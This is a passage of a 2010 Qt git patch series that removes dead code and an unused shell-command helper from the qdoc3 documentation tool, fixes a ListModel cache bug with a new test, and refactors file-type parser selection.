-#include "command.h" - -#include - -QT_BEGIN_NAMESPACE - -void executeCommand(const Location& location, - const QString& format, - const QStringList& args) -{ - QString actualCommand; - for (int i = 0; i < (int) format.length(); i++) { - int ch = format[i].unicode(); - if (ch > 0 && ch < 8) { - actualCommand += args[ch - 1]; - } - else { - actualCommand += format[i]; - } - } - - QString toolName = actualCommand; - int space = toolName.indexOf(QLatin1Char(' ')); - if (space != -1) - toolName.truncate(space); - -#ifdef QT_BOOTSTRAPPED - int status = system(qPrintable(actualCommand)); - int exitCode = WEXITSTATUS(status); - if (status == -1 || exitCode != EXIT_SUCCESS) - location.fatal(QString("Error executing '$1': $2").arg(toolName).arg(exitCode)); -#else - QProcess process; - process.start(QLatin1String("sh"), - QStringList() << QLatin1String("-c") << actualCommand); - process.waitForFinished(); - - if (process.exitCode() == 127) - location.fatal(tr("Couldn't launch the '%1' tool") - .arg(toolName), - tr("Make sure the tool is installed and in the" - " path.")); - - QString errors = QString::fromLocal8Bit(process.readAllStandardError()); - while (errors.endsWith(QLatin1Char('\n'))) - errors.truncate(errors.length() - 1); - if (!errors.isEmpty()) - location.fatal(tr("The '%1' tool encountered some problems") - .arg(toolName), - tr("The tool was invoked like this:\n%1\n" - "It emitted these errors:\n%2") - .arg(actualCommand).arg(errors)); -#endif -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/command.h b/tools/qdoc3/command.h deleted file mode 100644 index 2346aff..0000000 --- a/tools/qdoc3/command.h +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - command.h -*/ - -#ifndef COMMAND_H -#define COMMAND_H - -#include - -#include "location.h" - -QT_BEGIN_NAMESPACE - -void executeCommand( const Location& location, const QString& commandFormat, - const QStringList& args ); - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 074fdf6..c9b05d2 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -28,7 +28,6 @@ HEADERS += atom.h \ codechunk.h \ codemarker.h \ codeparser.h \ - command.h \ config.h \ cppcodemarker.h \ cppcodeparser.h \ @@ -53,7 +52,6 @@ SOURCES += atom.cpp \ codechunk.cpp \ codemarker.cpp \ codeparser.cpp \ - command.cpp \ config.cpp \ cppcodemarker.cpp \ cppcodeparser.cpp \ -- cgit v0.12 From d468fe4ca99561e9e575edc0e9d99080e93d91a3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 22 Nov 2010 17:08:00 +0100 Subject: Removed unused code. --- tools/qdoc3/codemarker.cpp | 1 - tools/qdoc3/cppcodemarker.cpp | 15 -------- tools/qdoc3/cppcodeparser.cpp | 10 ----- tools/qdoc3/doc.cpp | 23 ------------ tools/qdoc3/generator.cpp | 14 +------ tools/qdoc3/htmlgenerator.cpp | 86 ------------------------------------------- tools/qdoc3/location.cpp | 4 -- tools/qdoc3/node.cpp | 5 --- tools/qdoc3/tree.cpp | 16 +------- 9 files changed, 2 insertions(+), 172 deletions(-) diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp index ec86ae3..f1b6346 100644 --- a/tools/qdoc3/codemarker.cpp +++ b/tools/qdoc3/codemarker.cpp @@ -40,7 +40,6 @@ ****************************************************************************/ #include -#include #include "codemarker.h" #include "config.h" #include "node.h" diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 3615a84..576d103 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -455,21 +455,6 @@ QString CppCodeMarker::functionEndRegExp(const QString& /* funcName */) return "^\\}$"; } -#if 0 - FastSection privateReimpFuncs(classe, - "Private Reimplemented Functions", - "private reimplemented function", - "private reimplemented functions"); - FastSection protectedReimpFuncs(classe, - "Protected Reimplemented Functions", - "protected reimplemented function", - "protected reimplemented functions"); - FastSection publicReimpFuncs(classe, - "Public Reimplemented Functions", - "public reimplemented function", - "public reimplemented functions"); -#endif - QList
    CppCodeMarker::sections(const InnerNode *inner, SynopsisStyle style, Status status) diff --git a/tools/qdoc3/cppcodeparser.cpp b/tools/qdoc3/cppcodeparser.cpp index a120e45..8e891b8 100644 --- a/tools/qdoc3/cppcodeparser.cpp +++ b/tools/qdoc3/cppcodeparser.cpp @@ -966,16 +966,6 @@ void CppCodeParser::processOtherMetaCommand(const Doc& doc, .arg(COMMAND_REIMP).arg(node->name())); } -#if 0 - // Reimplemented functions now reported in separate sections. - /* - Note: Setting the access to Private hides the documentation, - but setting the status to Internal makes the node available - in the XML output when the WebXMLGenerator is used. - */ - func->setAccess(Node::Private); - func->setStatus(Node::Internal); -#endif func->setReimp(true); } else { diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 280f055..be16c59 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -1685,13 +1685,6 @@ void DocParser::startSection(Doc::SectioningUnit unit, int cmd) leavePara(); if (currentSectioningUnit == Doc::Book) { -#if 0 - // mws didn't think this was necessary. - if (unit > Doc::Section1) - location().warning(tr("Unexpected '\\%1' without '\\%2'") - .arg(cmdName(cmd)) - .arg(cmdName(CMD_SECTION1))); -#endif currentSectioningUnit = (Doc::SectioningUnit) (unit - 1); priv->constructExtra(); priv->extra->sectioningUnit = currentSectioningUnit; @@ -1866,9 +1859,6 @@ void DocParser::enterPara(Atom::Type leftType, pendingParaRightType = rightType; pendingParaString = string; if ( -#if 0 - leftType == Atom::BriefLeft || -#endif leftType == Atom::SectionHeadingLeft) { paraState = InsideSingleLinePara; } @@ -2273,12 +2263,6 @@ QString DocParser::getCode(int cmd, CodeMarker *marker) QString DocParser::getUnmarkedCode(int cmd) { QString code = getUntilEnd(cmd); -#if 0 - int indent = indentLevel(code); - if (indent < minIndent) - minIndent = indent; - code = unindent(minIndent, code); -#endif return code; } @@ -3043,13 +3027,6 @@ QString Doc::canonicalTitle(const QString &title) result += QLatin1Char('-'); dashAppended = true; } -#if 0 - // This was screwing things up. - else { - result += title[i]; - lastAlnum = result.size(); - } -#endif } result.truncate(lastAlnum); return result; diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 74e966a..0f2454e 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -383,14 +383,7 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) { bool quiet = false; - if (node->type() == Node::Function) { -#if 0 - const FunctionNode *func = (const FunctionNode *) node; - if (func->isOverload() && func->metaness() != FunctionNode::Ctor) - generateOverload(node, marker); -#endif - } - else if (node->type() == Node::Fake) { + if (node->type() == Node::Fake) { const FakeNode *fake = static_cast(node); if (fake->subType() == Node::Example) generateExampleFiles(fake, marker); @@ -510,11 +503,6 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) if (!body.contains("return", Qt::CaseInsensitive)) node->doc().location().warning(tr("Undocumented return value")); } -#if 0 - // Now we put this at the top, before the other text. - if (func->reimplementedFrom() != 0) - generateReimplementedFrom(func, marker); -#endif } } diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 0cd534e..4faab50 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -63,10 +63,6 @@ QT_BEGIN_NAMESPACE int HtmlGenerator::id = 0; bool HtmlGenerator::debugging_on = false; -#if 0 -QString HtmlGenerator::divNavTop = "
    "; -#endif - QString HtmlGenerator::divNavTop = ""; QString HtmlGenerator::sinceTitles[] = @@ -1020,26 +1016,8 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << atom->string(); break; case Atom::SectionLeft: -#if 0 - { - int nextLevel = atom->string().toInt(); - if (sectionNumber.size() < nextLevel) { - do { - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } - else { - while (sectionNumber.size() > nextLevel) { - sectionNumber.removeLast(); - } - sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1); - } - out() << "" << divNavTop << "\n"; - } -#else out() << "" << divNavTop << "\n"; -#endif break; case Atom::SectionRight: break; @@ -2022,39 +2000,6 @@ void HtmlGenerator::generateTableOfContents(const Node *node, inLink = false; } -#if 0 -void HtmlGenerator::generateNavigationBar(const NavigationBar& bar, - const Node *node, - CodeMarker *marker) -{ - if (bar.prev.begin() != 0 || bar.current.begin() != 0 || - bar.next.begin() != 0) { - out() << "

    "; - if (bar.prev.begin() != 0) { -#if 0 - out() << "[Prev: "; - generateText(section.previousHeading(), node, marker); - out() << "]\n"; -#endif - } - if (fake->name() != QString("index.html")) { - if (bar.current.begin() != 0) { - out() << "[Home]\n"; - } - if (bar.next.begin() != 0) { - out() << "[Next: "; - generateText(Text::sectionHeading(bar.next.begin()), node, marker); - out() << "]\n"; - } - out() << "

    \n"; - } - } -} -#endif - QString HtmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, CodeMarker *marker) { @@ -3237,29 +3182,6 @@ QString HtmlGenerator::fileBase(const Node *node) return result; } -#if 0 -QString HtmlGenerator::fileBase(const Node *node, - const SectionIterator& section) -{ - QStringList::ConstIterator s = section.sectionNumber().end(); - QStringList::ConstIterator b = section.baseNameStack().end(); - - QString suffix; - QString base = fileBase(node); - - while (s != section.sectionNumber().begin()) { - --s; - --b; - if (!(*b).isEmpty()) { - base = *b; - break; - } - suffix.prepend("-" + *s); - } - return base + suffix; -} -#endif - QString HtmlGenerator::fileName(const Node *node) { if (node->type() == Node::Fake) { @@ -3813,14 +3735,6 @@ QString HtmlGenerator::getLink(const Atom *atom, << (*node)->name() << "no relative"; } } -#if 0 - else if ((*node)->status() == Node::Deprecated) { - qDebug() << "Link to Deprecated entity"; - } - else if ((*node)->status() == Node::Internal) { - qDebug() << "Link to Internal entity"; - } -#endif } while (!path.isEmpty()) { diff --git a/tools/qdoc3/location.cpp b/tools/qdoc3/location.cpp index dee87d1..1257a45 100644 --- a/tools/qdoc3/location.cpp +++ b/tools/qdoc3/location.cpp @@ -390,10 +390,6 @@ QString Location::top() const if (lineNo() >= 1) { str += QLatin1Char(':'); str += QString::number(lineNo()); -#if 0 - if (columnNo() >= 1) - str += ":" + QString::number(columnNo()); -#endif } if (etc()) str += QLatin1String(" (etc.)"); diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index 41f90d5..e043f5d 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1545,11 +1545,6 @@ void QmlClassNode::clear() */ QString QmlClassNode::fileBase() const { -#if 0 - if (Node::fileBase() == "item") - qDebug() << "FILEBASE: qmlitem" << name(); - return "qml_" + Node::fileBase(); -#endif return Node::fileBase(); } diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 540ffa9..9946f0b 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -591,12 +591,6 @@ void Tree::resolveGroups() if (fake && fake->subType() == Node::Group) { fake->addGroupMember(i.value()); } -#if 0 - else { - if (prevGroup != i.key()) - i.value()->doc().location().warning(tr("No such group '%1'").arg(i.key())); - } -#endif prevGroup = i.key(); } @@ -1986,15 +1980,7 @@ QString Tree::fullDocumentLocation(const Node *node) const else parentName = fullDocumentLocation(node->parent()); } -#if 0 - if (node->type() == Node::QmlProperty) { - qDebug() << "Node::QmlProperty:" << node->name() - << "parentName:" << parentName; - if (parentNode) - qDebug() << "PARENT NODE" << parentNode->type() - << parentNode->subType() << parentNode->name(); - } -#endif + switch (node->type()) { case Node::Class: case Node::Namespace: -- cgit v0.12 From e64535b227599b5adb8847dfda0b2516ae7e5625 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Wed, 10 Nov 2010 14:43:11 +1000 Subject: Fix ListModel::set() to update the model cache when setting a list value Task-number: QTBUG-15190 --- src/declarative/util/qdeclarativelistmodel.cpp | 2 ++ .../qdeclarativelistmodel/data/setmodelcachelist.qml | 20 ++++++++++++++++++++ .../tst_qdeclarativelistmodel.cpp | 12 ++++++++++++ 3 files changed, 34 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 398480e..538e8af 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -1450,6 +1450,8 @@ void ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) if (v.isArray()) { value->isArray = true; value->setListValue(v); + if (writeToCache && objectCache) + objectCache->setValue(it.name().toUtf8(), QVariant::fromValue(value->model(m_model))); } else { value->values << v.toVariant(); if (writeToCache && objectCache) diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml new file mode 100644 index 0000000..ffe417a --- /dev/null +++ b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml @@ -0,0 +1,20 @@ +import QtQuick 1.0 + +ListModel { + id: model + property bool ok : false + + Component.onCompleted: { + model.append({"attrs": []}) + model.get(0) + model.set(0, {"attrs": [{'abc': 123, 'def': 456}] } ) + ok = ( model.get(0).attrs.get(0).abc == 123 + && model.get(0).attrs.get(0).def == 456 ) + + model.set(0, {"attrs": [{'abc': 789, 'def': 101}] } ) + ok = ( model.get(0).attrs.get(0).abc == 789 + && model.get(0).attrs.get(0).def == 101 ) + + } +} + diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 4b8d772..55f7421 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -100,6 +100,7 @@ private slots: void get_nested(); void get_nested_data(); void crash_model_with_multiple_roles(); + void set_model_cache(); }; int tst_qdeclarativelistmodel::roleFromName(const QDeclarativeListModel *model, const QString &roleName) { @@ -928,6 +929,17 @@ void tst_qdeclarativelistmodel::crash_model_with_multiple_roles() model->setProperty(0, "black", true); } +//QTBUG-15190 +void tst_qdeclarativelistmodel::set_model_cache() +{ + QDeclarativeEngine eng; + QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/setmodelcachelist.qml")); + QObject *model = component.create(); + QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString())); + QVERIFY(model != 0); + QVERIFY(model->property("ok").toBool()); +} + QTEST_MAIN(tst_qdeclarativelistmodel) #include "tst_qdeclarativelistmodel.moc" -- cgit v0.12 From 9830ef3b28502285a9c99ce07985668ad16a636a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 24 Nov 2010 15:08:20 +0100 Subject: Removed unused code. --- tools/qdoc3/codemarker.h | 7 --- tools/qdoc3/codeparser.cpp | 3 +- tools/qdoc3/ditaxmlgenerator.h | 3 -- tools/qdoc3/htmlgenerator.cpp | 112 ----------------------------------------- tools/qdoc3/htmlgenerator.h | 25 --------- 5 files changed, 1 insertion(+), 149 deletions(-) diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index f17b28e..029ddb9 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -107,13 +107,6 @@ struct FastSection }; -#if 0 - const QString& name0 = "", - const QString& divClass0 = "", - const QString& singularMember0 = "member", - const QString& pluralMember0 = "members") -#endif - class CodeMarker { public: diff --git a/tools/qdoc3/codeparser.cpp b/tools/qdoc3/codeparser.cpp index 65d9572..ed8b54e 100644 --- a/tools/qdoc3/codeparser.cpp +++ b/tools/qdoc3/codeparser.cpp @@ -47,7 +47,6 @@ #include "node.h" #include "tree.h" #include "config.h" -#include QT_BEGIN_NAMESPACE @@ -99,7 +98,7 @@ void CodeParser::initializeParser(const Config& config) } /*! - Teerminating a code parser is trivial. + Terminating a code parser is trivial. */ void CodeParser::terminateParser() { diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 446f735..36bd990 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -234,9 +234,6 @@ class DitaXmlGenerator : public PageGenerator QString registerRef(const QString& ref); QString fileBase(const Node *node); -#if 0 - QString fileBase(const Node *node, const SectionIterator& section); -#endif QString fileName(const Node *node); void findAllClasses(const InnerNode *node); void findAllFunctions(const InnerNode *node); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 4faab50..74db762 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -1116,33 +1116,6 @@ int HtmlGenerator::generateAtom(const Atom *atom, skipAhead = 1; break; case Atom::TableOfContents: - { - int numColumns = 1; - const Node *node = relative; - - Doc::SectioningUnit sectioningUnit = Doc::Section4; - QStringList params = atom->string().split(","); - QString columnText = params.at(0); - QStringList pieces = columnText.split(" ", QString::SkipEmptyParts); - if (pieces.size() >= 2) { - columnText = pieces.at(0); - pieces.pop_front(); - QString path = pieces.join(" ").trimmed(); - node = findNodeForTarget(path, relative, marker, atom); - } - - if (params.size() == 2) { - numColumns = qMax(columnText.toInt(), numColumns); - sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt(); - } - - if (node) - generateTableOfContents(node, - marker, - sectioningUnit, - numColumns, - relative); - } break; case Atom::Target: out() << "string()) << "\">"; @@ -1799,91 +1772,6 @@ void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) } /*! - Generates a table of contents beginning at \a node. - */ -void HtmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative) - -{ - return; - if (!node->doc().hasTableOfContents()) - return; - QList toc = node->doc().tableOfContents(); - if (toc.isEmpty()) - return; - - QString nodeName = ""; - if (node != relative) - nodeName = node->name(); - - QStringList sectionNumber; - int columnSize = 0; - - QString tdTag; - if (numColumns > 1) { - tdTag = ""; /* width=\"" + QString::number((100 + numColumns - 1) / numColumns) + "%\">";*/ - out() << "\n" - << tdTag << "\n"; - } - - // disable nested links in table of contents - inContents = true; - inLink = true; - - for (int i = 0; i < toc.size(); ++i) { - Atom *atom = toc.at(i); - - int nextLevel = atom->string().toInt(); - if (nextLevel > (int)sectioningUnit) - continue; - - if (sectionNumber.size() < nextLevel) { - do { - out() << "
      "; - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } - else { - while (sectionNumber.size() > nextLevel) { - out() << "
    \n"; - sectionNumber.removeLast(); - } - sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1); - } - int numAtoms; - Text headingText = Text::sectionHeading(atom); - - if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) { - out() << "" << tdTag << "\n"; - sectionNumber.removeLast(); - } - - if (numColumns > 1) - out() << "
    \n"; - - inContents = false; - inLink = false; -} - -/*! Revised for the new doc format. Generates a table of contents beginning at \a node. */ diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index c0a4ce8..547cf2f 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -56,15 +56,6 @@ QT_BEGIN_NAMESPACE -#if 0 -struct NavigationBar -{ - SectionIterator prev; - SectionIterator current; - SectionIterator next; -}; -#endif - typedef QMultiMap NodeMultiMap; typedef QMap NewSinceMaps; typedef QMap ParentMaps; @@ -150,16 +141,6 @@ class HtmlGenerator : public PageGenerator CodeMarker *marker, const Node *relative = 0); void generateIncludes(const InnerNode *inner, CodeMarker *marker); -#if 0 - void generateNavigationBar(const NavigationBar& bar, - const Node *node, - CodeMarker *marker); -#endif - void generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative = 0); void generateTableOfContents(const Node *node, CodeMarker *marker, QList
    * sections = 0); @@ -237,9 +218,6 @@ class HtmlGenerator : public PageGenerator QString registerRef(const QString& ref); QString fileBase(const Node *node); -#if 0 - QString fileBase(const Node *node, const SectionIterator& section); -#endif QString fileName(const Node *node); void findAllClasses(const InnerNode *node); void findAllFunctions(const InnerNode *node); @@ -273,9 +251,6 @@ class HtmlGenerator : public PageGenerator CodeMarker* marker) const; void generateExtractionMark(const Node *node, ExtractionMarkType markType); -#if 0 - NavigationBar currentNavigationBar; -#endif QMap refMap; int codeIndent; HelpProjectWriter *helpProjectWriter; -- cgit v0.12 From f79dfe06afe9aae34e064b5668cc3429f659dd16 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 24 Nov 2010 19:31:06 +0100 Subject: Added the version number to the configuration and fixed the generator. Now the version number should appear in the documentation again. --- tools/qdoc3/htmlgenerator.cpp | 4 +--- tools/qdoc3/test/qt-project.qdocconf | 5 ++++- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 74db762..b095f23 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -1618,12 +1618,10 @@ void HtmlGenerator::generateHeader(const QString& title, out() << QString("\n").arg(naturalLanguage); out() << "\n"; out() << " \n"; - QString shortVersion; - shortVersion = project + " " + shortVersion + ": "; if (node && !node->doc().location().isEmpty()) out() << "\n"; - shortVersion = myTree->version(); + QString shortVersion = myTree->version(); if (shortVersion.count(QChar('.')) == 2) shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); if (!shortVersion.isEmpty()) { diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf index be2a227..135fbbb 100644 --- a/tools/qdoc3/test/qt-project.qdocconf +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -6,6 +6,7 @@ include(qt-defines.qdocconf) project = Qt description = Qt Reference Documentation url = http://qt.nokia.com/doc/4.7 +version = 4.7.1 sourceencoding = UTF-8 outputencoding = UTF-8 @@ -86,7 +87,9 @@ excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \ $QT_SOURCE_TREE/doc/src/ja_JP \ $QT_SOURCE_TREE/doc/src/zh_CN -sources.fileextensions = "*.cpp *.qdoc *.mm" +sources.fileextensions = "*.c++ *.cc *.cpp *.cxx *.mm *.qml *.qdoc" +headers.fileextensions = "*.ch *.h *.h++ *.hh *.hpp *.hxx" + examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" examples.imageextensions = "*.png" -- cgit v0.12 From 9529188304b47d3fdb39cec52ad233f37a477f2f Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 24 Nov 2010 19:33:21 +0100 Subject: Refactored use of parsers to parse files based on their types. The full range of file types is specified in the configuration file. Each parser is asked if it handles each file. The pure documentation parser conceptually handles qdoc files, but it uses the same code as the C++ parser. --- tools/qdoc3/codeparser.cpp | 38 ++++++++- tools/qdoc3/codeparser.h | 6 +- tools/qdoc3/config.cpp | 6 +- tools/qdoc3/config.h | 1 - tools/qdoc3/cppcodeparser.cpp | 9 +- tools/qdoc3/cppcodeparser.h | 4 +- tools/qdoc3/main.cpp | 74 +++++++++------- tools/qdoc3/puredocparser.cpp | 63 ++++++++++++++ tools/qdoc3/puredocparser.h | 72 ++++++++++++++++ tools/qdoc3/qdoc3.pro | 11 +++ tools/qdoc3/qmlcodeparser.cpp | 168 +++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlcodeparser.h | 90 ++++++++++++++++++++ tools/qdoc3/qmlvisitor.cpp | 191 ++++++++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlvisitor.h | 83 ++++++++++++++++++ 14 files changed, 769 insertions(+), 47 deletions(-) create mode 100644 tools/qdoc3/puredocparser.cpp create mode 100644 tools/qdoc3/puredocparser.h create mode 100644 tools/qdoc3/qmlcodeparser.cpp create mode 100644 tools/qdoc3/qmlcodeparser.h create mode 100644 tools/qdoc3/qmlvisitor.cpp create mode 100644 tools/qdoc3/qmlvisitor.h diff --git a/tools/qdoc3/codeparser.cpp b/tools/qdoc3/codeparser.cpp index ed8b54e..3652758 100644 --- a/tools/qdoc3/codeparser.cpp +++ b/tools/qdoc3/codeparser.cpp @@ -105,7 +105,7 @@ void CodeParser::terminateParser() // nothing. } -QString CodeParser::headerFileNameFilter() +QStringList CodeParser::headerFileNameFilter() { return sourceFileNameFilter(); } @@ -158,6 +158,42 @@ CodeParser *CodeParser::parserForLanguage(const QString& language) return 0; } +CodeParser *CodeParser::parserForHeaderFile(const QString &filePath) +{ + QString fileName = QFileInfo(filePath).fileName(); + + QList::ConstIterator p = parsers.begin(); + while (p != parsers.end()) { + + QStringList headerPatterns = (*p)->headerFileNameFilter(); + foreach (QString pattern, headerPatterns) { + QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard); + if (re.exactMatch(fileName)) + return *p; + } + ++p; + } + return 0; +} + +CodeParser *CodeParser::parserForSourceFile(const QString &filePath) +{ + QString fileName = QFileInfo(filePath).fileName(); + + QList::ConstIterator p = parsers.begin(); + while (p != parsers.end()) { + + QStringList sourcePatterns = (*p)->sourceFileNameFilter(); + foreach (QString pattern, sourcePatterns) { + QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard); + if (re.exactMatch(fileName)) + return *p; + } + ++p; + } + return 0; +} + /*! Returns the set of strings representing the common metacommands. */ diff --git a/tools/qdoc3/codeparser.h b/tools/qdoc3/codeparser.h index ebba601..2d11ee0 100644 --- a/tools/qdoc3/codeparser.h +++ b/tools/qdoc3/codeparser.h @@ -66,8 +66,8 @@ class CodeParser virtual void initializeParser(const Config& config); virtual void terminateParser(); virtual QString language() = 0; - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter() = 0; + virtual QStringList headerFileNameFilter(); + virtual QStringList sourceFileNameFilter() = 0; virtual void parseHeaderFile(const Location& location, const QString& filePath, Tree *tree); virtual void parseSourceFile(const Location& location, @@ -78,6 +78,8 @@ class CodeParser static void initialize(const Config& config); static void terminate(); static CodeParser *parserForLanguage(const QString& language); + static CodeParser *parserForHeaderFile(const QString &filePath); + static CodeParser *parserForSourceFile(const QString &filePath); static const QString titleFromName(const QString& name); protected: diff --git a/tools/qdoc3/config.cpp b/tools/qdoc3/config.cpp index 0146a26..c2ab559 100644 --- a/tools/qdoc3/config.cpp +++ b/tools/qdoc3/config.cpp @@ -359,16 +359,12 @@ QSet Config::subVars(const QString& var) const */ QStringList Config::getAllFiles(const QString &filesVar, const QString &dirsVar, - const QString &defaultNameFilter, const QSet &excludedDirs) { QStringList result = getStringList(filesVar); QStringList dirs = getStringList(dirsVar); - QString nameFilter = getString(filesVar + dot + - QLatin1String(CONFIG_FILEEXTENSIONS)); - if (nameFilter.isEmpty()) - nameFilter = defaultNameFilter; + QString nameFilter = getString(filesVar + dot + QLatin1String(CONFIG_FILEEXTENSIONS)); QStringList::ConstIterator d = dirs.begin(); while (d != dirs.end()) { diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index f089a70..bc36f3d 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -76,7 +76,6 @@ class Config QSet subVars(const QString& var) const; QStringList getAllFiles(const QString& filesVar, const QString& dirsVar, - const QString& defaultNameFilter, const QSet &excludedDirs = QSet()); static QStringList getFilesHere(const QString& dir, diff --git a/tools/qdoc3/cppcodeparser.cpp b/tools/qdoc3/cppcodeparser.cpp index 8e891b8..fce2553 100644 --- a/tools/qdoc3/cppcodeparser.cpp +++ b/tools/qdoc3/cppcodeparser.cpp @@ -47,7 +47,6 @@ #include #include -#include #include "codechunk.h" #include "config.h" @@ -258,18 +257,18 @@ QString CppCodeParser::language() /*! Returns a list of extensions for header files. */ -QString CppCodeParser::headerFileNameFilter() +QStringList CppCodeParser::headerFileNameFilter() { - return "*.ch *.h *.h++ *.hh *.hpp *.hxx"; + return QStringList() << "*.ch" << "*.h" << "*.h++" << "*.hh" << "*.hpp" << "*.hxx"; } /*! Returns a list of extensions for source files, i.e. not header files. */ -QString CppCodeParser::sourceFileNameFilter() +QStringList CppCodeParser::sourceFileNameFilter() { - return "*.c++ *.cc *.cpp *.cxx"; + return QStringList() << "*.c++" << "*.cc" << "*.cpp" << "*.cxx" << "*.mm"; } /*! diff --git a/tools/qdoc3/cppcodeparser.h b/tools/qdoc3/cppcodeparser.h index 55d9ddf..64e9119 100644 --- a/tools/qdoc3/cppcodeparser.h +++ 